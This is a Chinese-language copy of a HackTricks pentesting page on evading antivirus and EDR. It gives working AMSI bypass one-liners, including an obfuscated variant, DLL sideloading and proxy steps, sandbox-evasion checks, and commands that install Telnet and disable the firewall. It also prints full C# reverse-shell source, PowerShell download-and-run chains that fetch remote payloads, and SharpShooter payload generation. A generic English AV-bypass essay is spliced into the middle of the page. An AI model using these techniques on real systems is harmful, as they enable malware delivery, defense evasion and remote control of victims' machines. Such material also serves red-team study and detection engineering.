hacktricks/windows-hardening/av-bypass.md

37 KiB
Raw Blame History

绕过杀毒软件AV

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

本页由@m2rc_p编写!

绕过杀毒软件AV方法论

目前杀毒软件使用不同的方法来检查文件是否恶意包括静态检测、动态分析以及更高级的EDR行为分析。

静态检测

静态检测通过在二进制文件或脚本中标记已知的恶意字符串或字节数组,并从文件本身提取信息(例如文件描述、公司名称、数字签名、图标、校验和等)来实现。这意味着使用已知的公共工具可能更容易被发现,因为它们可能已经被分析并标记为恶意。有几种方法可以绕过这种类型的检测:

  • 加密

如果你加密了二进制文件,杀毒软件将无法检测到你的程序,但你需要一种加载器来解密并在内存中运行程序。

  • 混淆

有时,你只需要改变二进制文件或脚本中的一些字符串,就可以通过杀毒软件。但这可能是一项耗时的任务,取决于你要混淆的内容。

  • 自定义工具

如果你开发自己的工具,就不会有已知的恶意签名,但这需要很多时间和精力。

{% hint style="info" %} 检查Windows Defender静态检测的一个好方法是使用ThreatCheck。它将文件分成多个段然后要求Defender分别扫描每个段这样它可以告诉你在你的二进制文件中有哪些被标记的字符串或字节。 {% endhint %}

我强烈推荐你查看这个关于实际AV绕过的YouTube播放列表

动态分析

动态分析是指杀毒软件在沙箱中运行你的二进制文件并监视恶意活动例如尝试解密和读取浏览器密码、对LSASS进行minidump等。这部分可能会更加棘手但以下是一些可以用来逃避沙箱的方法。

  • 执行前休眠 根据实现方式的不同,这可能是绕过杀毒软件动态分析的好方法。杀毒软件在扫描文件时有很短的时间,以不中断用户的工作流程,因此使用较长的休眠时间可能会干扰对二进制文件的分析。问题是,许多杀毒软件的沙箱可以根据实现方式跳过休眠。
  • 检查机器资源 通常,沙箱的资源非常有限(例如,<2GB RAM否则它们可能会减慢用户的机器。在这里你也可以非常有创意例如通过检查CPU的温度甚至风扇转速不是所有的东西都会在沙箱中实现。
  • 特定机器的检查 如果你想针对一个工作站加入到"contoso.local"域的用户进行攻击,你可以检查计算机的域是否与你指定的域匹配,如果不匹配,你可以让你的程序退出。

事实证明Microsoft Defender的沙箱计算机名是HAL9TH所以在引爆之前你可以在恶意软件中检查计算机名如果名称与HAL9TH匹配这意味着你在Defender的沙箱中所以你可以让你的程序退出。

来源:https://youtu.be/StSLxFbVz0M?t=1439

@mgeeky在对抗沙箱方面提供了一些其他非常好的建议。

Red Team VX Discord #malware-dev channel

正如我们在本文中之前所说,公共工具最终会被检测到,所以,你应该问自己一个问题:

例如如果你想转储LSASS你真的需要使用mimikatz吗或者你可以使用一个不太知名但也可以转储LSASS的不同项目。

正确的答案可能是后者。以mimikatz为例它可能是被杀毒软件和EDR标记为恶意软件的最多的一个虽然这个项目本身非常酷但要绕过杀毒软件它也是一个噩梦所以只需寻找你想要实现的目标的替代方案。

{% hint style="info" %} 在修改你的有效载荷以进行绕过时请确保在Defender中关闭自动样本提交,并且,请认真对待,请不要将其上传到VIRUSTOTAL,如果你的目标是长期实现绕过。如果你想检查你的有效载荷是否被特定杀毒软件检测到,请在虚拟机上安装它,尝试关闭自动样本提交,并在那里进行测试,直到你对结果满意为止。 {% endhint %}

EXEs vs DLLs

每当可能的时候始终优先使用DLL来进行逃避。根据我的经验DLL文件通常被检测和分析的可能性要小得多因此这是一个非常简单的技巧可以在某些情况下避免被检测当然如果你的有效负载有一种以DLL方式运行的方法

正如我们在这张图片中所看到的Havoc的DLL有效负载在antiscan.me上的检测率为4/26而EXE有效负载的检测率为7/26。

antiscan.me对比普通Havoc EXE有效负载和普通Havoc DLL有效负载

现在我们将展示一些你可以使用DLL文件的技巧以使你的行动更加隐蔽。

DLL侧载和代理

DLL侧载利用加载器使用的DLL搜索顺序将受害者应用程序和恶意有效负载放在一起。

你可以使用Siofra和以下PowerShell脚本来检查易受DLL侧载攻击的程序

{% code overflow="wrap" %}

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

{% endcode %}

这个命令将输出在"C:\Program Files\"目录下易受DLL劫持攻击的程序列表以及它们尝试加载的DLL文件。

我强烈建议你自己探索可劫持/侧载的DLL程序如果正确使用这种技术非常隐蔽但如果你使用公开已知的DLL侧载程序你可能很容易被发现。

仅仅通过将一个恶意DLL文件放置在程序期望加载的名称下并不能加载你的载荷因为程序期望在该DLL文件中有一些特定的函数。为了解决这个问题我们将使用另一种技术称为DLL代理/转发

DLL代理将程序从代理恶意DLL中发出的调用转发到原始DLL从而保留程序的功能并能够处理你的载荷的执行。

我将使用@flangvikSharpDLLProxy项目。

以下是我遵循的步骤:

{% code overflow="wrap" %}

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

{% endcode %}

最后一个命令将给我们两个文件一个DLL源代码模板和原始重命名的DLL。

{% code overflow="wrap" %}

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

{% endcode %}

以下是结果:

我们的shellcode使用SGN编码和代理DLL在antiscan.me上都有0/26的检测率我认为这是一个成功。

{% hint style="info" %} 我强烈建议您观看S3cur3Th1sSh1t的twitch VOD关于DLL Sideloading的内容还有ippsec的视频,以更深入地了解我们讨论的内容。 {% endhint %}

Freeze

Freeze是一个使用挂起进程、直接系统调用和替代执行方法绕过EDR的有效载荷工具包

您可以使用Freeze以隐蔽的方式加载和执行您的shellcode。

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

{% hint style="info" %} 逃避只是一场猫和老鼠的游戏,今天有效的方法明天可能被检测到,所以不要仅依赖一个工具,如果可能的话,尝试链接多个逃避技术。 {% endhint %}

AMSI反恶意软件扫描接口

AMSI是为了防止“无文件恶意软件”而创建的。最初,杀毒软件只能扫描磁盘上的文件,因此,如果你能够以某种方式直接在内存中执行有效载荷,杀毒软件无法阻止它,因为它没有足够的可见性。

AMSI功能集成在Windows的以下组件中。

  • 用户帐户控制UAC提升EXE、COM、MSI或ActiveX安装
  • PowerShell脚本、交互使用和动态代码评估
  • Windows脚本宿主wscript.exe和cscript.exe
  • JavaScript和VBScript
  • Office VBA宏

它允许杀毒软件解析脚本行为,通过以未加密和未混淆的形式公开脚本内容。

运行IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')将在Windows Defender上产生以下警报。

注意它是如何在路径之前添加amsi:然后是脚本运行的可执行文件的路径本例中是powershell.exe。

我们没有将任何文件写入磁盘但由于AMSI的存在我们仍然在内存中被捕获。

有几种方法可以绕过AMSI

  • 混淆

由于AMSI主要用于静态检测因此修改要加载的脚本可以是一种逃避检测的好方法。

然而即使脚本有多个层次AMSI也有解混淆脚本的能力因此根据操作方式混淆可能不是一个好选择。这使得逃避变得不那么直接。尽管如此有时你只需要更改几个变量名就可以了所以这取决于某个东西被标记了多少次。

  • AMSI绕过

由于AMSI是通过将DLL加载到powershell也包括cscript.exe、wscript.exe等进程中来实现的即使作为非特权用户也可以轻松篡改它。由于AMSI实现中的这个缺陷研究人员已经找到了多种逃避AMSI扫描的方法。

强制错误

强制AMSI初始化失败amsiInitFailed将导致当前进程不会启动扫描。最初这是由马特·格雷伯披露的,微软已经开发了一个签名来防止更广泛的使用。

{% code overflow="wrap" %}

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

{% endcode %}

只需要一行PowerShell代码就可以使当前的PowerShell进程无法使用AMSI。当然这行代码已经被AMSI本身标记了所以需要进行一些修改才能使用这个技术。

下面是我从这个Github Gist中获取的修改后的AMSI绕过技术。

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

内存篡改

这种技术最初是由@RastaMouse发现的它涉及到在amsi.dll中找到"AmsiScanBuffer"函数的地址负责扫描用户提供的输入并用返回E_INVALIDARG代码的指令覆盖它这样实际扫描的结果将返回0被解释为干净的结果。

{% hint style="info" %} 请阅读https://rastamouse.me/memory-patching-amsi-bypass/以获取更详细的解释。 {% endhint %}

还有许多其他用于绕过PowerShell的AMSI的技术请查看此页面此存储库以了解更多信息。

混淆

有几种工具可以用于混淆C#明文代码,生成元编程模板以编译二进制文件或混淆已编译的二进制文件,例如:

  • InvisibilityCloakC#混淆器
  • Obfuscator-LLVM该项目的目标是提供LLVM编译套件的开源分支通过代码混淆和防篡改来提高软件安全性。
  • ADVobfuscatorADVobfuscator演示了如何使用C++11/14语言在编译时生成混淆代码,而不使用任何外部工具并且不修改编译器。
  • obfy通过C++模板元编程框架生成一层混淆操作,使想要破解应用程序的人的生活变得更加困难。
  • Alcatraz****Alcatraz是一个能够混淆各种不同的PE文件包括.exe、.dll、.sys的x64二进制混淆器。
  • metameMetame是一个用于任意可执行文件的简单变形代码引擎。
  • ropfuscatorROPfuscator是一个基于LLVM支持的语言的精细级代码混淆框架使用ROP返回导向编程将程序从汇编代码级别转换为ROP链破坏了我们对正常控制流的自然概念。
  • NimcryptNimcrypt是一个用Nim编写的.NET PE加密器。
  • inceptor****Inceptor能够将现有的EXE/DLL转换为shellcode然后加载它们。

SmartScreen和MoTW

你可能在从互联网下载并执行某些可执行文件时看到了这个屏幕。

Microsoft Defender SmartScreen是一种安全机制旨在保护最终用户免受运行潜在恶意应用程序的影响。

SmartScreen主要采用基于声誉的方法意味着不常下载的应用程序将触发SmartScreen从而警示并阻止最终用户执行该文件尽管仍然可以通过点击更多信息->仍然运行来执行该文件)。

MoTWMark of The Web是一个带有Zone.Identifier名称的NTFS备用数据流在从互联网下载文件时会自动创建以及它被下载的URL。

检查从互联网下载的文件的Zone.Identifier ADS。

{% hint style="info" %} 重要的是要注意,使用受信任的签名证书签名的可执行文件不会触发SmartScreen。 {% endhint %}

防止你的载荷获得Mark of The Web的一种非常有效的方法是将它们打包到某种容器中比如ISO。这是因为Mark-of-the-WebMOTW无法应用于非NTFS卷。

PackMyPayload是一个将载荷打包到输出容器以规避Mark-of-the-Web的工具。

示例用法:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

以下是使用PackMyPayload将有效负载封装在ISO文件中绕过SmartScreen的演示。

C#程序集反射

将C#二进制文件加载到内存中已经有一段时间了,这仍然是一种非常好的方法,可以在不被杀毒软件发现的情况下运行后渗透工具。

由于有效负载将直接加载到内存中而不接触磁盘我们只需要担心如何为整个进程打补丁以绕过AMSI。

大多数C2框架如sliver、Covenant、metasploit、CobaltStrike、Havoc等已经提供了直接在内存中执行C#程序集的能力,但有不同的方法:

  • 分叉和运行

它涉及生成一个新的牺牲进程将你的后渗透恶意代码注入到该新进程中执行你的恶意代码完成后杀死新进程。这种方法既有好处也有缺点。分叉和运行方法的好处是执行发生在我们的Beacon植入进程之外。这意味着如果我们的后渗透操作出现问题或被发现,我们的植入物有更大的机会存活下来。缺点是你有更大的机会被行为检测发现。

  • 内联

它是将后渗透恶意代码注入到自己的进程中。这样你可以避免创建一个新的进程并让杀毒软件扫描它但缺点是如果你的有效负载执行出现问题你的Beacon有更大的机会丢失,因为它可能会崩溃。

{% hint style="info" %} 如果你想了解更多关于C#程序集加载的内容,请查看这篇文章https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/以及他们的InlineExecute-Assembly BOFhttps://github.com/xforcered/InlineExecute-Assembly {% endhint %}

你也可以从PowerShell中加载C#程序集,参考Invoke-SharpLoaderS3cur3th1sSh1t的视频

使用其他编程语言

https://github.com/deeexcee-io/LOI-Bins所提出的,可以通过让受损机器访问攻击者控制的SMB共享上安装的解释器环境来执行恶意代码。

通过允许访问SMB共享上的解释器二进制文件和环境可以在受损机器的内存中执行这些语言的任意代码

该存储库指出防御者仍然会扫描脚本但通过利用Go、Java、PHP等语言我们可以更灵活地绕过静态签名。在这些语言中使用随机非混淆的反向shell脚本进行测试已经取得了成功。

高级逃避

逃避是一个非常复杂的主题,有时你必须考虑一个系统中许多不同的遥测来源,所以在成熟的环境中完全不被发现几乎是不可能的。

每个环境都有其优势和劣势。

我强烈建议你观看@ATTL4S的这个演讲,以了解更多关于高级逃避技术的入门知识。

{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}

这也是@mariuszbit关于深度逃避的另一个很棒的演讲。

{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}

旧技术

Telnet服务器

直到Windows10所有的Windows都带有一个Telnet服务器,你可以通过以下方式(作为管理员)安装:

pkgmgr /iu:"TelnetServer" /quiet

让它在系统启动时开始运行,现在运行它:

sc config TlntSVR start= auto obj= localsystem

更改telnet端口(隐蔽)并禁用防火墙:

To change the telnet port, follow these steps:

  1. Open the command prompt as an administrator.
  2. Type regedit and press Enter to open the Registry Editor.
  3. Navigate to the following path: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Telnet\Parameters.
  4. Right-click on the right pane and select New > DWORD (32-bit) Value.
  5. Name the new value PortNumber.
  6. Double-click on PortNumber and select Decimal.
  7. Enter the desired port number (e.g., 1234) and click OK.
  8. Close the Registry Editor.

To disable the firewall, follow these steps:

  1. Open the Control Panel.
  2. Click on "System and Security" and then "Windows Defender Firewall".
  3. Click on "Turn Windows Defender Firewall on or off" in the left pane.
  4. Select "Turn off Windows Defender Firewall" for both private and public networks.
  5. Click OK to save the changes.

Remember to enable the firewall and restore the telnet port to its original configuration after completing your tasks to maintain the security of your system.

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

从以下链接下载:http://www.uvnc.com/downloads/ultravnc.html(下载二进制文件,而不是安装程序)

在主机上:执行 winvnc.exe 并配置服务器:

  • 启用选项 Disable TrayIcon
  • VNC Password 中设置密码
  • View-Only Password 中设置密码

然后,将二进制文件 winvnc.exe 和新创建的文件 UltraVNC.ini 移动到受害者内部

反向连接

攻击者应该在他的主机上执行二进制文件 vncviewer.exe -listen 5900,以便准备好接收反向VNC连接。然后,在受害者内部:启动 winvnc 守护进程 winvnc.exe -run 并运行 winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900

**警告:**为保持隐蔽,您不能执行以下几个操作

  • 如果 winvnc 已经在运行,请不要启动它,否则会触发一个弹出窗口。使用 tasklist | findstr winvnc 检查是否正在运行
  • 不要在没有 UltraVNC.ini 文件的同一目录下启动 winvnc否则会导致配置窗口打开
  • 不要运行 winvnc -h 来获取帮助,否则会触发一个弹出窗口

GreatSCT

从以下链接下载:https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

在GreatSCT内部

AV Bypass

AV绕过

One of the biggest challenges faced by hackers is bypassing antivirus (AV) software. AV software is designed to detect and block malicious software, making it difficult for hackers to execute their attacks. However, there are several techniques that can be used to bypass AV software and successfully execute malicious code.

黑客面临的最大挑战之一是绕过防病毒AV软件。AV软件旨在检测和阻止恶意软件使黑客难以执行攻击。然而有几种技术可以用来绕过AV软件并成功执行恶意代码。

Encoding and Encryption

编码和加密

One common technique used to bypass AV software is encoding or encrypting the malicious code. By encoding or encrypting the code, hackers can obfuscate the code and make it more difficult for AV software to detect. This can be done using various encoding or encryption algorithms, such as base64 encoding or AES encryption.

绕过AV软件的一种常见技术是对恶意代码进行编码或加密。通过对代码进行编码或加密黑客可以混淆代码使AV软件更难以检测。可以使用各种编码或加密算法来实现例如base64编码或AES加密。

Polymorphic Code

多态代码

Polymorphic code is another technique used to bypass AV software. Polymorphic code is code that can change its structure or behavior while maintaining its original functionality. By constantly changing the code's structure, hackers can create new variants of the code that are not recognized by AV software. This makes it difficult for AV software to detect and block the malicious code.

多态代码是绕过AV软件的另一种技术。多态代码是可以在保持其原始功能的同时改变其结构或行为的代码。通过不断改变代码的结构黑客可以创建AV软件无法识别的新变体代码。这使得AV软件难以检测和阻止恶意代码。

Fileless Attacks

无文件攻击

Fileless attacks are a type of attack that do not involve writing malicious code to the victim's disk. Instead, these attacks leverage existing legitimate processes or scripts to execute malicious actions directly in memory. Since there is no file for AV software to scan, fileless attacks can bypass traditional AV detection methods.

无文件攻击是一种不涉及将恶意代码写入受害者磁盘的攻击类型。相反这些攻击利用现有的合法进程或脚本直接在内存中执行恶意操作。由于没有文件供AV软件扫描无文件攻击可以绕过传统的AV检测方法。

Code Injection

代码注入

Code injection is a technique where hackers inject malicious code into a legitimate process or application. By injecting the code into a trusted process, hackers can bypass AV software that only scans executable files. This technique can be used to execute malicious code without triggering AV alerts.

代码注入是一种技术黑客将恶意代码注入到合法的进程或应用程序中。通过将代码注入到可信进程中黑客可以绕过只扫描可执行文件的AV软件。这种技术可以用来执行恶意代码而不触发AV警报。

Conclusion

结论

Bypassing AV software is a crucial skill for hackers. By using techniques such as encoding and encryption, polymorphic code, fileless attacks, and code injection, hackers can successfully bypass AV software and execute their attacks. However, it is important to note that these techniques may not always be effective, as AV software is constantly evolving to detect and block new threats.

绕过AV软件是黑客的关键技能。通过使用编码和加密、多态代码、无文件攻击和代码注入等技术黑客可以成功绕过AV软件并执行攻击。然而需要注意的是这些技术可能并不总是有效的因为AV软件不断演变以检测和阻止新的威胁。

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

现在使用 msfconsole -r file.rc 启动监听器,并执行以下 xml payload

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

当前的防御者会非常快速地终止进程。

编译我们自己的反向Shell

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

第一个C#反向Shell

使用以下命令进行编译:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

使用方法:

back.exe <ATTACKER_IP> <PORT>
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs

使用C#编译器

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

自动下载和执行:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}

C#混淆器列表:https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp

Merlin, Empire, Puppy, SalsaTools https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/

https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf

https://github.com/l0ss/Grouper2

{% embed url="http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html" %}

{% embed url="http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/" %}

其他工具

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

更多

{% embed url="https://github.com/persianhydra/Xeexe-TopAntivirusEvasion" %}

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥